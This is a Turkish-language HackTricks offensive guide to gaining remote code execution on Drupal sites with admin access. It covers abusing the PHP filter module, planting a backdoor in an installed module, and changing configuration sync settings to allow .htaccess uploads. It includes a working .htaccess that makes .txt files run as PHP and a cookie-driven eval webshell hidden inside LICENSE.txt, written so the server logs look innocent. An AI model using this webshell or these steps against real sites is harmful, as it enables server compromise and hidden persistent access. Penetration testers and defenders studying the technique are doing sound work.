Drupal RCE

Reading time: 7 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

PHP Filtre Modülü ile

warning

Eski Drupal sürümlerinde (sürüm 8'den önce), bir admin olarak giriş yapmak ve PHP filter modülünü etkinleştirmek mümkündü; bu modül "Gömülü PHP kodu/parçalarının değerlendirilmesine izin verir." Ancak sürüm 8'den itibaren bu modül varsayılan olarak yüklenmemiştir.

  1. /modules/php adresine gidin ve eğer 403 hatası alıyorsanız, PHP filter eklentisi yüklenmiştir ve devam edebilirsiniz
  2. Değilse, Modüller bölümüne gidin ve PHP Filter kutusunu işaretleyin, ardından Yapılandırmayı kaydet butonuna tıklayın
  3. Sonra, bunu istismar etmek için İçerik ekle butonuna tıklayın, ardından Temel Sayfa veya Makale seçin ve PHP backdoor yazın, ardından Metin formatında PHP kodunu seçin ve son olarak Önizleme seçin
  4. Bunu tetiklemek için, yeni oluşturulan düğüme erişin:
bash
curl http://drupal.local/node/3

PHP Filtre Modülünü Kurun

warning

Mevcut sürümlerde, varsayılan kurulumdan sonra yalnızca web erişimine sahip olarak eklentileri kurmak artık mümkün değildir.

8 ve sonrası sürümlerde, PHP Filtre modülü varsayılan olarak kurulu değildir. Bu işlevselliği kullanmak için modülü kendimiz kurmamız gerekecek.

  1. Drupal web sitesinden modülün en son sürümünü indirin.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. İndirdikten sonra Yönetim > Raporlar > Mevcut güncellemeler bölümüne gidin.
  4. Gözat butonuna tıklayın, dosyayı indirdiğimiz dizinden seçin ve ardından Kur butonuna tıklayın.
  5. Modül kurulduktan sonra, İçerik sekmesine tıklayıp yeni bir temel sayfa oluşturabiliriz, Drupal 7 örneğinde yaptığımız gibi. Yine, Metin biçimi açılır menüsünden PHP kodu seçmeyi unutmayın.

Arka Kapılı Modül

warning

Mevcut sürümlerde, varsayılan kurulumdan sonra yalnızca web erişimine sahip olarak eklentileri kurmak artık mümkün değildir.

Bir modülü indirmek, ona bir arka kapı eklemek ve kurmak mümkündü. Örneğin, Trurnstile modülünü sıkıştırılmış formatta indirip, içinde yeni bir PHP arka kapı dosyası oluşturarak, .htaccess dosyası ile PHP dosyasına erişimi sağlamak:

html
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>

Ve ardından http://drupal.local/admin/modules/install adresine giderek arka kapılı modülü yükleyip /modules/turnstile/back.php adresine erişerek çalıştırıyoruz.

Drupal'ı Konfigürasyon Senkronizasyonu ile Arka Kapı Açma

Gönderi paylaşan Coiffeur0x90

Bölüm 1 (Media ve Media Library'nin etkinleştirilmesi)

Extend menüsünde (/admin/modules), zaten yüklenmiş gibi görünen eklentileri etkinleştirebilirsiniz. Varsayılan olarak, Media ve Media Library eklentileri etkin görünmüyor, bu yüzden bunları etkinleştirelim.

Etkinleştirmeden önce:

Etkinleştirdikten sonra:

Bölüm 2 (Configuration synchronization özelliğinden yararlanma)

Drupal konfigürasyon girişlerini dökme (ihracat) ve yükleme (ithalat) için Configuration synchronization özelliğinden yararlanacağız:

  • /admin/config/development/configuration/single/export
  • /admin/config/development/configuration/single/import

Patch system.file.yml

İlk giriş allow_insecure_uploads'ı yamanlayarak başlayalım:

Dosya: system.file.yml


...

allow_insecure_uploads: false

...

Şuna:

Dosya: system.file.yml


...

allow_insecure_uploads: true

...

Yamanla field.field.media.document.field_media_document.yml

Ardından, ikinci girişi file_extensions olarak yamanlayın:

Dosya: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Şuna:

Dosya: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Bu blog yazısında kullanmıyorum ama file_directory girişinin keyfi bir şekilde tanımlanabileceği ve bir yol geçişi saldırısına karşı savunmasız olduğu not edilmiştir (bu nedenle Drupal dosya sistemi ağacında geri gidebiliriz).

Bölüm 3 (özellik Belge Ekle kullanma)

Son adım en basit olanıdır ve iki alt adıma ayrılmıştır. İlk adım, Apache direktiflerini kullanmak ve .txt dosyalarının PHP motoru tarafından yorumlanmasına izin vermek için bir .htaccess formatında dosya yüklemektir. İkinci adım, yükleyeceğimiz yükü içeren bir .txt dosyasıdır.

Dosya: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Bu hile neden havalı?

Çünkü Webshell (biz buna LICENSE.txt diyeceğiz) Web sunucusuna yüklendikten sonra, komutlarımızı $_COOKIE aracılığıyla iletebiliriz ve bu, Web sunucusu günlüklerinde bir metin dosyasına yapılan meşru bir GET isteği olarak görünecektir.

Webshell'imize neden LICENSE.txt adını veriyoruz?

Basitçe, örneğin core/LICENSE.txt dosyasını alırsak (ki bu zaten Drupal çekirdeğinde mevcuttur), 339 satır ve 17.6 KB boyutunda bir dosyamız var, bu da ortasına küçük bir PHP kodu eklemek için mükemmel (çünkü dosya yeterince büyük).

Dosya: Patched LICENSE.txt

txt

...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Bölüm 3.1 (dosya yükle .htaccess)

Öncelikle, Apache direktiflerini içeren dosyamızı yüklemek için Add Document (/media/add/document) özelliğini kullanıyoruz (.htaccess).

Bölüm 3.2 (dosya yükle LICENSE.txt)

Daha sonra, bir lisans dosyası içinde gizlenmiş bir Webshell yüklemek için tekrar Add Document (/media/add/document) özelliğini kullanıyoruz.

Bölüm 4 (Webshell ile etkileşim)

Son bölüm, Webshell ile etkileşimde bulunmaktan oluşmaktadır.

Aşağıdaki ekran görüntüsünde gösterildiği gibi, Webshell'imiz tarafından beklenen çerez tanımlı değilse, bir Web tarayıcısı aracılığıyla dosyayı sorguladığımızda aşağıdaki sonucu alırız.

Saldırgan çerezi ayarladığında, Webshell ile etkileşimde bulunabilir ve istediği komutları çalıştırabilir.

Ve loglarda görebileceğiniz gibi, yalnızca bir txt dosyasının talep edildiği görünmektedir.

Bu makaleyi okumak için zaman ayırdığınız için teşekkür ederim, umarım size bazı shell'ler elde etmenizde yardımcı olur.

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin